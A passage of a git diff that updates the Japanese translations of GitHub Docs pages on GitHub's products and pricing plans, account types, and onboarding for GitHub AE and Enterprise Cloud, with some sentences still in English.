 {% endif %}
 
-## Further reading
+## 参考リンク
 
-- "[Types of {% data variables.product.prodname_dotcom %} accounts](/articles/types-of-github-accounts)"
+- 「[{% data variables.product.prodname_dotcom %}アカウントの種類](/articles/types-of-github-accounts)」
diff --git a/translations/ja-JP/content/get-started/learning-about-github/githubs-products.md b/translations/ja-JP/content/get-started/learning-about-github/githubs-products.md
index a45107bd4c..44214cf3ed 100644
--- a/translations/ja-JP/content/get-started/learning-about-github/githubs-products.md
+++ b/translations/ja-JP/content/get-started/learning-about-github/githubs-products.md
@@ -1,6 +1,6 @@
 ---
-title: GitHub's products
-intro: 'An overview of {% data variables.product.prodname_dotcom %}''s products and pricing plans.'
+title: GitHub の製品
+intro: '{% data variables.product.prodname_dotcom %} の商品と価格プランの概要。'
 redirect_from:
   - /articles/github-s-products
   - /articles/githubs-products
@@ -18,69 +18,70 @@ topics:
   - Desktop
   - Security
 ---
+
 ## About {% data variables.product.prodname_dotcom %}'s products
 
 {% data variables.product.prodname_dotcom %} offers free and paid products for storing and collaborating on code. Some products apply only to user accounts, while other plans apply only to organization and enterprise accounts. For more information about accounts, see "[Types of {% data variables.product.prodname_dotcom %} accounts](/get-started/learning-about-github/types-of-github-accounts)."
 
-You can see pricing and a full list of features for each product at <{% data variables.product.pricing_url %}>. {% data reusables.products.product-roadmap %}
+各製品の料金と機能の全リストは <{% data variables.product.pricing_url %}> に掲載されています。 {% data reusables.products.product-roadmap %}
 
 When you read {% data variables.product.prodname_docs %}, make sure to select the version that reflects your product. For more information, see "[About versions of {% data variables.product.prodname_docs %}](/get-started/learning-about-github/about-versions-of-github-docs)."
 
-## {% data variables.product.prodname_free_user %} for user accounts
+## ユーザアカウント用の{% data variables.product.prodname_free_user %}
 
-With {% data variables.product.prodname_free_team %} for user accounts, you can work with unlimited collaborators on unlimited public repositories with a full feature set, and on unlimited private repositories with a limited feature set.
+ユーザアカウント用の{% data variables.product.prodname_free_team %}では、完全な機能セットを持つ無制限のパブリックリポジトリ上で無制限のコラボレータと、そして限定された機能セットを持つ無制限のプライベートリポジトリ上で作業ができます。
 
-With {% data variables.product.prodname_free_user %}, your user account includes:
+{% data variables.product.prodname_free_user %}では、ユーザアカウントには以下が含まれます。
 - {% data variables.product.prodname_gcf %}
 - {% data variables.product.prodname_dependabot_alerts %}
-- Two-factor authentication enforcement
-- 2,000 {% data variables.product.prodname_actions %} minutes
-- 500MB {% data variables.product.prodname_registry %} storage
+- 2 要素認証の強制
+- 2,000 {% data variables.product.prodname_actions %} 分
+- 500MBの{% data variables.product.prodname_registry %}ストレージ
 
 ## {% data variables.product.prodname_pro %}
 
-In addition to the features available with {% data variables.product.prodname_free_user %} for user accounts, {% data variables.product.prodname_pro %} includes:
-- {% data variables.contact.github_support %} via email
-- 3,000 {% data variables.product.prodname_actions %} minutes
-- 2GB {% data variables.product.prodname_registry %} storage
-- Advanced tools and insights in private repositories:
-  - Required pull request reviewers
-  - Multiple pull request reviewers
-  - Auto-linked references
+ユーザアカウント用の{% data variables.product.prodname_free_user %}で利用できる機能に加え、{% data variables.product.prodname_pro %}には以下が含まれます。
+- メールでの{% data variables.contact.github_support %}
+- 3,000 {% data variables.product.prodname_actions %} 分
+- 2GBの{% data variables.product.prodname_registry %}ストレージ
+- プライベートリポジトリでの高度なツールとインサイト：
+  - 必須のプルリクエストレビュー担当者
+  - 複数のプルリクエストレビュー担当者
+  - 自動リンクのリファレンス
   - {% data variables.product.prodname_pages %}
-  - Wikis
-  - Protected branches
-  - Code owners
-  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
+  - Wiki
+  - 保護されたブランチ
+  - コードオーナー
+  - リポジトリインサイトグラフ: パルス、コントリビューター、トラフィック、コミット、コード頻度、ネットワーク、およびフォーク
 
-## {% data variables.product.prodname_free_team %} for organizations
+## Organization の {% data variables.product.prodname_free_team %}
 
-With {% data variables.product.prodname_free_team %} for organizations, you can work with unlimited collaborators on unlimited public repositories with a full feature set, or unlimited private repositories with a limited feature set.
+Organizationの{% data variables.product.prodname_free_team %}では、完全な機能セットを持つ無制限のパブリックリポジトリ上で無制限のコラボレータ、あるいは限定された機能セットを持つ無制限のプライベートリポジトリで作業ができます。
 
-In addition to the features available with {% data variables.product.prodname_free_user %} for user accounts, {% data variables.product.prodname_free_team %} for organizations includes:
+ユーザアカウント用の{% data variables.product.prodname_free_user %}で利用できる機能に加えて、Organizationの{% data variables.product.prodname_free_team %}には以下が含まれます。
 - {% data variables.product.prodname_gcf %}
-- Team discussions
-- Team access controls for managing groups
-- 2,000 {% data variables.product.prodname_actions %} minutes
-- 500MB {% data variables.product.prodname_registry %} storage
+- Team ディスカッション
+- グループを管理するための Team アクセスコントロール
+- 2,000 {% data variables.product.prodname_actions %} 分
+- 500MBの{% data variables.product.prodname_registry %}ストレージ
 
 ## {% data variables.product.prodname_team %}
 
-In addition to the features available with {% data variables.product.prodname_free_team %} for organizations, {% data variables.product.prodname_team %} includes:
-- {% data variables.contact.github_support %} via email
-- 3,000 {% data variables.product.prodname_actions %} minutes
-- 2GB {% data variables.product.prodname_registry %} storage
-- Advanced tools and insights in private repositories:
-  - Required pull request reviewers
-  - Multiple pull request reviewers
+Organizationの{% data variables.product.prodname_free_team %}で利用できる機能に加えて、{% data variables.product.prodname_team %}には以下が含まれます。
+- メールでの{% data variables.contact.github_support %}
+- 3,000 {% data variables.product.prodname_actions %} 分
+- 2GBの{% data variables.product.prodname_registry %}ストレージ
+- プライベートリポジトリでの高度なツールとインサイト：
+  - 必須のプルリクエストレビュー担当者
+  - 複数のプルリクエストレビュー担当者
   - {% data variables.product.prodname_pages %}
-  - Wikis
-  - Protected branches
-  - Code owners
-  - Repository insights graphs: Pulse, contributors, traffic, commits, code frequency, network, and forks
-  - Draft pull requests
-  - Team pull request reviewers
-  - Scheduled reminders
+  - Wiki
+  - 保護されたブランチ
+  - コードオーナー
+  - リポジトリインサイトグラフ: パルス、コントリビューター、トラフィック、コミット、コード頻度、ネットワーク、およびフォーク
+  - ドラフトプルリクエスト
+  - Teamのプルリクエストレビュー担当者
+  - スケジュールされたリマインダー
 {% ifversion fpt or ghec %}
 - The option to enable {% data variables.product.prodname_github_codespaces %}
   - Organization owners can enable {% data variables.product.prodname_github_codespaces %} for the organization by setting a spending limit and granting user permissions for members of their organization. For more information, see "[Enabling Codespaces for your organization](/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization)."
@@ -90,25 +91,25 @@ In addition to the features available with {% data variables.product.prodname_fr
 
 ## {% data variables.product.prodname_enterprise %}
 
-{% data variables.product.prodname_enterprise %} includes two deployment options: cloud-hosted and self-hosted.
+{% data variables.product.prodname_enterprise %} には、クラウドホストとセルフホストの 2 種類のデプロイメントオプションがあります。
 
-In addition to the features available with {% data variables.product.prodname_team %}, {% data variables.product.prodname_enterprise %} includes:
+{% data variables.product.prodname_team %} で利用可能な機能に加えて、{% data variables.product.prodname_enterprise %} には以下が含まれます。
 - {% data variables.contact.enterprise_support %}
-- Additional security, compliance, and deployment controls
-- Authentication with SAML single sign-on
-- Access provisioning with SAML or SCIM
+- 追加のセキュリティ、コンプライアンス、およびデプロイメントコントロール
+- SAML シングルサインオンでの認証
+- SAML または SCIM でのアクセスのプロビジョニング
 - {% data variables.product.prodname_github_connect %}
-- The option to purchase {% data variables.product.prodname_GH_advanced_security %}. For more information, see "[About {% data variables.product.prodname_GH_advanced_security %}](/github/getting-started-with-github/about-github-advanced-security)."
+- The option to purchase {% data variables.product.prodname_GH_advanced_security %}. 詳しい情報については、「[{% data variables.product.prodname_GH_advanced_security %} について](/github/getting-started-with-github/about-github-advanced-security)」を参照してください。
 
-{% data variables.product.prodname_ghe_cloud %} also includes:
-- {% data variables.contact.enterprise_support %}. For more information, see "<a href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} support</a>" and "<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} Addendum</a>."
-- 50,000 {% data variables.product.prodname_actions %} minutes
-- 50GB {% data variables.product.prodname_registry %} storage
-- Access control for {% data variables.product.prodname_pages %} sites. For more information, see <a href="/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site" class="dotcom-only">Changing the visibility of your {% data variables.product.prodname_pages %} site</a>"
-- A service level agreement for 99.9% monthly uptime
+{% data variables.product.prodname_ghe_cloud %} には次も含まれます:
+- {% data variables.contact.enterprise_support %}。 詳細は「<a href="/articles/github-enterprise-cloud-support" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} サポート</a>」および「<a href="/articles/github-enterprise-cloud-addendum" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} 補遺</a>」を参照してください。
+- 50,000 {% data variables.product.prodname_actions %} 分
+- 50GBの{% data variables.product.prodname_registry %}ストレージ
+- {% data variables.product.prodname_pages %} サイトのアクセス制御。 詳しい情報については、「<a href="/pages/getting-started-with-github-pages/changing-the-visibility-of-your-github-pages-site" class="dotcom-only">{% data variables.product.prodname_pages %} サイトの可視性を変更する</a>」を参照してください。
+- 99.9% の月次稼働時間を保証するサービスレベルアグリーメント
 - The option to configure your enterprise for {% data variables.product.prodname_emus %}, so you can provision and manage members with your identity provider and restrict your member's contributions to just your enterprise. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users)."
-- The option to centrally manage policy and billing for multiple {% data variables.product.prodname_dotcom_the_website %} organizations with an enterprise account. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
+- エンタープライズアカウントで複数の {% data variables.product.prodname_dotcom_the_website %} Organization に対してポリシーと請求を一元管理するためのオプション。 詳細は「[Enterprise アカウントについて](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)」を参照してください。
 
-You can set up a trial to evaluate {% data variables.product.prodname_ghe_cloud %}. For more information, see "<a href="/articles/setting-up-a-trial-of-github-enterprise-cloud" class="dotcom-only">Setting up a trial of {% data variables.product.prodname_ghe_cloud %}</a>."
+{% data variables.product.prodname_ghe_cloud %} を評価するためのトライアルを設定できます。 詳しい情報については、「<a href="/articles/setting-up-a-trial-of-github-enterprise-cloud" class="dotcom-only">{% data variables.product.prodname_ghe_cloud %} のトライアルを設定する</a>」を参照してください。
 
-For more information about hosting your own instance of [{% data variables.product.prodname_ghe_server %}](https://enterprise.github.com), contact {% data variables.contact.contact_enterprise_sales %}. {% data reusables.enterprise_installation.request-a-trial %}
+[{% data variables.product.prodname_ghe_server %}](https://enterprise.github.com)の独自インスタンスのホストに関する詳しい情報については、{% data variables.contact.contact_enterprise_sales %}に連絡してください。 {% data reusables.enterprise_installation.request-a-trial %}
diff --git a/translations/ja-JP/content/get-started/learning-about-github/index.md b/translations/ja-JP/content/get-started/learning-about-github/index.md
index 5861d232ae..f368a0354f 100644
--- a/translations/ja-JP/content/get-started/learning-about-github/index.md
+++ b/translations/ja-JP/content/get-started/learning-about-github/index.md
@@ -1,5 +1,5 @@
 ---
-title: Learning about GitHub
+title: GitHub について学ぶ
 intro: 'Learn how you can use {% data variables.product.company_short %} products to improve your software management process and collaborate with other people.'
 redirect_from:
   - /articles/learning-about-github
diff --git a/translations/ja-JP/content/get-started/learning-about-github/types-of-github-accounts.md b/translations/ja-JP/content/get-started/learning-about-github/types-of-github-accounts.md
index 568b1834d8..6b43e1c2ea 100644
--- a/translations/ja-JP/content/get-started/learning-about-github/types-of-github-accounts.md
+++ b/translations/ja-JP/content/get-started/learning-about-github/types-of-github-accounts.md
@@ -1,5 +1,5 @@
 ---
-title: Types of GitHub accounts
+title: GitHub アカウントの種類
 intro: 'Accounts on {% data variables.product.product_name %} allow you to organize and control access to code.'
 redirect_from:
   - /manage-multiple-clients
@@ -26,8 +26,8 @@ topics:
 
 With {% data variables.product.product_name %}, you can store and collaborate on code. Accounts allow you to organize and control access to that code. There are three types of accounts on {% data variables.product.product_name %}.
 - Personal accounts
-- Organization accounts
-- Enterprise accounts
+- Organization アカウント
+- Enterprise アカウント
 
 Every person who uses {% data variables.product.product_name %} signs into a personal account. An organization account enhances collaboration between multiple personal accounts, and {% ifversion fpt or ghec %}an enterprise account{% else %}the enterprise account for {% data variables.product.product_location %}{% endif %} allows central management of multiple organizations.
 
@@ -37,7 +37,7 @@ Every person who uses {% data variables.product.product_location %} signs into a
 
 Your personal account can own resources such as repositories, packages, and projects. Any time you take any action on {% data variables.product.product_location %}, such as creating an issue or reviewing a pull request, the action is attributed to your personal account.
 
-{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. For more information, see "[{% data variables.product.prodname_dotcom %}'s products](/articles/githubs-products)." {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %}
+{% ifversion fpt or ghec %}Each personal account uses either {% data variables.product.prodname_free_user %} or {% data variables.product.prodname_pro %}. All personal accounts can own an unlimited number of public and private repositories, with an unlimited number of collaborators on those repositories. If you use {% data variables.product.prodname_free_user %}, private repositories owned by your personal account have a limited feature set. You can upgrade to {% data variables.product.prodname_pro %} to get a full feature set for private repositories. 詳細は「[{% data variables.product.prodname_dotcom %} の製品](/articles/githubs-products)」を参照してください。 {% else %}You can create an unlimited number of repositories owned by your personal account, with an unlimited number of collaborators on those repositories.{% endif %}
 
 {% tip %}
 
@@ -46,12 +46,12 @@ Your personal account can own resources such as repositories, packages, and proj
 {% endtip %}
 
 {% ifversion fpt or ghec %}
-Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. For more information, see "[Merging multiple user accounts](/articles/merging-multiple-user-accounts)."
+Most people will use one personal account for all their work on {% data variables.product.prodname_dotcom_the_website %}, including both open source projects and paid employment. If you're currently using more than one personal account that you created for yourself, we suggest combining the accounts. 詳細は「[複数のユーザアカウントをマージする](/articles/merging-multiple-user-accounts)」を参照してください。
 {% endif %}
 
-## Organization accounts
+## Organization アカウント
 
-Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once. 
+Organizations are shared accounts where an unlimited number of people can collaborate across many projects at once.
 
 Like personal accounts, organizations can own resources such as repositories, packages, and projects. However, you cannot sign into an organization. Instead, each person signs into their own personal account, and any actions the person takes on organization resources are attributed to their personal account. Each personal account can be a member of multiple organizations.
 
@@ -59,29 +59,29 @@ The personal accounts within an organization can be given different roles in the
 
 ![Diagram showing that users must sign in to their personal user account to access an organization's resources](/assets/images/help/overview/sign-in-pattern.png)
 
-{% ifversion fpt or ghec %} 
+{% ifversion fpt or ghec %}
 Even if you're a member of an organization that uses SAML single sign-on, you will still sign into your own personal account on {% data variables.product.prodname_dotcom_the_website %}, and that personal account will be linked to your identity in your organization's identity provider (IdP). For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation{% else %}."{% endif %}
 
 However, if you're a member of an enterprise that uses {% data variables.product.prodname_emus %}, instead of using a personal account that you created, a new account will be provisioned for you by the enterprise's IdP. To access any organizations owned by that enterprise, you must authenticate using their IdP instead of a {% data variables.product.prodname_dotcom_the_website %} username and password. For more information, see "[About {% data variables.product.prodname_emus %}](/enterprise-cloud@latest/admin/authentication/managing-your-enterprise-users-with-your-identity-provider/about-enterprise-managed-users){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}
 {% endif %}
 
-You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. For more information, see "[About teams](/organizations/organizing-members-into-teams/about-teams)."
+You can also create nested sub-groups of organization members called teams, to reflect your group's structure and simplify access management. 詳細は「[Team について](/organizations/organizing-members-into-teams/about-teams)」を参照してください。
 
 {% data reusables.organizations.organization-plans %}
 
 For more information about all the features of organizations, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
 
-## Enterprise accounts
+## Enterprise アカウント
 
 {% ifversion fpt %}
 {% data variables.product.prodname_ghe_cloud %} and {% data variables.product.prodname_ghe_server %} include enterprise accounts, which allow administrators to centrally manage policy and billing for multiple organizations and enable innersourcing between the organizations. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)" in the {% data variables.product.prodname_ghe_cloud %} documentation.
 {% elsif ghec %}
-Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+Enterprise accounts allow central policy management and billing for multiple organizations. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. 詳細は「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」を参照してください。
 {% elsif ghes or ghae %}
-Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.product.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. For more information, see "[About enterprise accounts](/admin/overview/about-enterprise-accounts)."
+Your enterprise account is a collection of all the organizations {% ifversion ghae %}owned by{% elsif ghes %}on{% endif %} {% data variables.product.product_location %}. You can use your enterprise account to centrally manage policy and billing. Unlike organizations, enterprise accounts cannot directly own resources like repositories, packages, or projects. These resources are owned by organizations within the enterprise account instead. 詳細は「[Enterprise アカウントについて](/admin/overview/about-enterprise-accounts)」を参照してください。
 {% endif %}
 
-## Further reading
+## 参考リンク
 
 {% ifversion fpt or ghec %}- "[Signing up for a new {% data variables.product.prodname_dotcom %} account](/articles/signing-up-for-a-new-github-account)"{% endif %}
-- "[Creating a new organization account](/articles/creating-a-new-organization-account)"
+- 「[新しい Organization アカウントを作成する](/articles/creating-a-new-organization-account)」
diff --git a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-ae.md b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-ae.md
index 013ac1a1af..c00b8c6ef7 100644
--- a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-ae.md
+++ b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-ae.md
@@ -16,13 +16,13 @@ You will first need to purchase {% data variables.product.product_name %}. For m
 {% data reusables.github-ae.initialize-enterprise %}
 
 ### 2. Initializing {% data variables.product.product_name %}
-After {% data variables.product.company_short %} creates the owner account for {% data variables.product.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.product.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.product.product_location %}, and configure a support contact for your enterprise members. For more information, see "[Initializing {% data variables.product.prodname_ghe_managed %}](/admin/configuration/configuring-your-enterprise/initializing-github-ae)."
+After {% data variables.product.company_short %} creates the owner account for {% data variables.product.product_location %} on {% data variables.product.product_name %}, you will receive an email to sign in and complete the initialization. During initialization, you, as the enterprise owner, will name {% data variables.product.product_location %}, configure SAML SSO, create policies for all organizations in {% data variables.product.product_location %}, and configure a support contact for your enterprise members. 詳しい情報については、「[{% data variables.product.prodname_ghe_managed %} を初期化する](/admin/configuration/configuring-your-enterprise/initializing-github-ae)」を参照してください。
 
-### 3. Restricting network traffic
-You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. For more information, see "[Restricting network traffic to your enterprise](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)."
+### 3. ネットワークトラフィックを制限する
+You can configure an allow list for specific IP addresses to restrict access to assets owned by organizations in your enterprise account. 詳しい情報については、「[Enterprise へのネットワークトラフィックを制限する](/admin/configuration/configuring-your-enterprise/restricting-network-traffic-to-your-enterprise)」を参照してください。
 
 ### 4. Managing identity and access for {% data variables.product.product_location %}
-You can centrally manage access to {% data variables.product.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. For more information, see "[About identity and access management for your enterprise](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)."
+You can centrally manage access to {% data variables.product.product_location %} on {% data variables.product.product_name %} from an identity provider (IdP) using SAML single sign-on (SSO) for user authentication and System for Cross-domain Identity Management (SCIM) for user provisioning. Once you configure provisioning, you can assign or unassign users to the application from the IdP, creating or disabling user accounts in the enterprise. 詳しい情報については、「[Enterprise のアイデンティティとアクセス管理について](/admin/authentication/managing-identity-and-access-for-your-enterprise/about-identity-and-access-management-for-your-enterprise)」を参照してください。
 
 ### 5. Managing billing for {% data variables.product.product_location %}
 Owners of the subscription for {% data variables.product.product_location %} on {% data variables.product.product_name %} can view billing details for {% data variables.product.product_name %} in the Azure portal. For more information, see "[Managing billing for your enterprise](/admin/overview/managing-billing-for-your-enterprise)."
@@ -33,13 +33,13 @@ As an enterprise owner for {% data variables.product.product_name %}, you can ma
 ### 1. Managing members of {% data variables.product.product_location %}
 {% data reusables.getting-started.managing-enterprise-members %}
 
-### 2. Creating organizations
+### 2. Organizationの作成
 {% data reusables.getting-started.creating-organizations %}
 
 ### 3. Adding members to organizations
 {% data reusables.getting-started.adding-members-to-organizations %}
 
-### 4. Creating teams
+### 4. Teamの作成
 {% data reusables.getting-started.creating-teams %}
 
 ### 5. Setting organization and repository permission levels
@@ -68,7 +68,7 @@ You can customize and automate work in organizations in {% data variables.produc
 
 For more information on enabling and configuring {% data variables.product.prodname_actions %} for {% data variables.product.product_name %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_managed %}](/admin/github-actions/using-github-actions-in-github-ae/getting-started-with-github-actions-for-github-ae)."
 
-### 3. Using {% data variables.product.prodname_pages %}
+### 3. {% data variables.product.prodname_pages %}を使用する
 {% data reusables.getting-started.github-pages-enterprise %}
 ## Part 5: Using {% data variables.product.prodname_dotcom %}'s learning and support resources
 Your enterprise members can learn more about Git and {% data variables.product.prodname_dotcom %} with our learning resources, and you can get the support you need with {% data variables.product.prodname_dotcom %} Enterprise Support.
diff --git a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
index 9598e02d65..8ca336b0f7 100644
--- a/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
+++ b/translations/ja-JP/content/get-started/onboarding/getting-started-with-github-enterprise-cloud.md
@@ -40,11 +40,11 @@ Once you choose the account type you would like, you can proceed to setting up y
 To get started with {% data variables.product.prodname_ghe_cloud %}, you will want to create your organization or enterprise account and set up and view billing settings, subscriptions and usage.
 ### Setting up a single organization account with {% data variables.product.prodname_ghe_cloud %}
 
-#### 1. About organizations
-Organizations are shared accounts where groups of people can collaborate across many projects at once. With {% data variables.product.prodname_ghe_cloud %}, owners and administrators can manage their organization with sophisticated user authentication and management, as well as escalated support and security options. For more information, see "[About organizations](/organizations/collaborating-with-groups-in-organizations/about-organizations)."
+#### 1. Organizationについて
+Organization は、多くの人がいくつものプロジェクトにわたって同時にコラボレーションできる共有アカウントです。 With {% data variables.product.prodname_ghe_cloud %}, owners and administrators can manage their organization with sophisticated user authentication and management, as well as escalated support and security options. 詳細は「[Organization について](/organizations/collaborating-with-groups-in-organizations/about-organizations)」を参照してください。
 #### 2. Creating or upgrading an organization account
 
-To use an organization account with {% data variables.product.prodname_ghe_cloud %}, you will first need to create an organization. When prompted to choose a plan, select "Enterprise". For more information, see "[Creating a new organization from scratch](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)."
+To use an organization account with {% data variables.product.prodname_ghe_cloud %}, you will first need to create an organization. When prompted to choose a plan, select "Enterprise". 詳しい情報については、「[新しい Organization をゼロから作成する](/organizations/collaborating-with-groups-in-organizations/creating-a-new-organization-from-scratch)」を参照してください。
 
 Alternatively, if you have an existing organization account that you would like to upgrade, follow the steps in "[Upgrading your {% data variables.product.prodname_dotcom %} subscription](/billing/managing-billing-for-your-github-account/upgrading-your-github-subscription#upgrading-your-organizations-subscription)."
 #### 3. Setting up and managing billing
@@ -62,21 +62,21 @@ To get an enterprise account created for you, contact [{% data variables.product
 
  {% endnote %}
 
-#### 1. About enterprise accounts
+#### 1. Enterprise アカウントについて
 
-An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.prodname_dotcom %} organizations, including member access, billing and usage and security. For more information, see "[About enterprise accounts](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)."
-#### 2. Adding organizations to your enterprise account
+An enterprise account allows you to centrally manage policy and settings for multiple {% data variables.product.prodname_dotcom %} organizations, including member access, billing and usage and security. 詳細は「[Enterprise アカウントについて](/enterprise-cloud@latest/admin/overview/about-enterprise-accounts)」を参照してください。
+#### 2. Enterprise アカウントに Organization を追加する
 
-You can create new organizations to manage within your enterprise account. For more information, see "[Adding organizations to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
+Enterprise アカウント内に、新しい Organization を作成して管理できます。 For more information, see "[Adding organizations to your enterprise](/enterprise-cloud@latest/admin/user-management/managing-organizations-in-your-enterprise/adding-organizations-to-your-enterprise)."
 
 Contact your {% data variables.product.prodname_dotcom %} sales account representative if you want to transfer an existing organization to your enterprise account.
-#### 3. Viewing the subscription and usage for your enterprise account
+#### 3. Enterprise アカウントのプランおよび利用状況を表示する
 You can view your current subscription, license usage, invoices, payment history, and other billing information for your enterprise account at any time. Both enterprise owners and billing managers can access and manage billing settings for enterprise accounts. For more information, see  "[Viewing the subscription and usage for your enterprise account](/enterprise-cloud@latest/billing/managing-billing-for-your-github-account/viewing-the-subscription-and-usage-for-your-enterprise-account)."
 
 ## Part 3: Managing your organization or enterprise members and teams with {% data variables.product.prodname_ghe_cloud %}
 
 ### Managing members and teams in your organization
-You can set permissions and member roles, create and manage teams, and give people access to repositories in your organization. 
+You can set permissions and member roles, create and manage teams, and give people access to repositories in your organization.
 #### 1. Managing members of your organization
 {% data reusables.getting-started.managing-org-members %}
 #### 2. Organization permissions and roles
@@ -96,13 +96,13 @@ If your enterprise uses {% data variables.product.prodname_emus %}, your members
 If your enterprise does not use {% data variables.product.prodname_emus %}, follow the steps below.
 
 #### 1. Assigning roles in an enterprise
-By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. For more information, see "[Roles in an enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)."
-#### 2. Inviting people to manage your enterprise
+By default, everyone in an enterprise is a member of the enterprise. There are also administrative roles, including enterprise owner and billing manager, that have different levels of access to enterprise settings and data. 詳しい情報については、「[Enterprise アカウントのロール](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/roles-in-an-enterprise)」を参照してください。
+#### 2. Enterprise を管理するようユーザを招待する
 You can invite people to manage your enterprise as enterprise owners or billing managers, as well as remove those who no longer need access. For more information, see "[Inviting people to manage your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/inviting-people-to-manage-your-enterprise)."
 
-You can also grant enterprise members the ability to manage support tickets in the support portal. For more information, see "[Managing support entitlements for your enterprise](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)."
-#### 3. Viewing people in your enterprise
-To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. For more information, see "[Viewing people in your enterprise](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)."
+You can also grant enterprise members the ability to manage support tickets in the support portal. 詳しい情報については「[Enterpriseのサポート資格の管理](/enterprise-cloud@latest/admin/user-management/managing-users-in-your-enterprise/managing-support-entitlements-for-your-enterprise)」を参照してください。
+#### 3. Enterprise の人を表示する
+To audit access to enterprise-owned resources or user license usage, you can view every enterprise administrator, enterprise member, and outside collaborator in your enterprise. You can see the organizations that a member belongs to and the specific repositories that an outside collaborator has access to. 詳しい情報については、「[Enterprise の人を表示する](/admin/user-management/managing-users-in-your-enterprise/viewing-people-in-your-enterprise)」を参照してください。
 
 ## Part 4: Managing security with {% data variables.product.prodname_ghe_cloud %}
 
@@ -124,12 +124,12 @@ You can help keep your organization secure by requiring two-factor authenticatio
 If you manage your applications and the identities of your organization members with an identity provider (IdP), you can configure SAML single-sign-on (SSO) to control and secure access to organization resources like repositories, issues and pull requests. When members of your organization access organization resources that use SAML SSO, {% data variables.product.prodname_dotcom %} will redirect them to your IdP to authenticate. For more information, see "[About identity and access management with SAML single sign-on](/organizations/managing-saml-single-sign-on-for-your-organization/about-identity-and-access-management-with-saml-single-sign-on)."
 
